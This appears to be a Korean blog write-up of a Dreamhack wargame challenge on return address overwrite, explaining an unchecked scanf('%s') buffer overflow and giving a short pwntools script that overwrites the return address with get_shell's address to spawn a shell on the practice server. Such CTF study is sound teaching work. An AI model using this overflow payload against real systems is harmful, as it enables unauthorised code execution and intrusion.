Return Address Overwrite
Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.
# 문제 분석
- Return Address Overwrite
- 오버플로우 발생 시 반환 주소(Return Address)를 조작하여 실행흐름을 바꾸는 기법
- checksec
- 함수 목록
- get_shell 함수를 이용하면 쉘을 획득할 수 있을 것임
- main 함수
- scanf는 길이 검증을 하지 않기 때문에 buffer의 크기를 넘어 스택 영역을 덮어 쓸 수 있을 것임
- %s는 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며, 공백인 문자로 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다는 특징이 있음
- 정확히 n개의 문자만 입력받는 "%[n]s"의 형태로 사용해야 함
💡 코어 파일이 생성되지 않을 때
- 리눅스는 기본적으로 코어 파일의 크기에 제한을 두고 있음
- 바이너리가 세그먼테이션 폴트를 발생시키고도 코어파일을 생성하지 않았다면, 생성해야 할 코어파일의 크기가 이를 초과했기 때문임
- 다음의 명령어로 그 제한을 해제하고, 다시 오류를 발생시키면 코어 파일을 얻을 수 있음
$ ulimit -c unlimited
# exploit
- buffer(0x30) + rbp(0x8) + ret(0x8) 형식으로 페이로드를 작성하면 쉘을 획득할 수 있을 것임
from pwn import *
p = remote('host3.dreamhack.games', 8767)
e = ELF('./rao')
payload = b"A"*0x30
payload += b"B"*0x8
payload += p64(e.symbols['get_shell'])
p.sendline(payload)
p.interactive()
# 실행결과
'War Game & CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] Return to Library (0) | 2022.09.07 |
---|---|
[Dreamhack] Return to Shellcode (0) | 2022.09.05 |
[Dreamhack] basic_exploitation_001 (0) | 2022.09.01 |
[Dreamhack] basic_exploitation_000 (0) | 2022.08.31 |
[Dreamhack] shell_basic (0) | 2022.08.31 |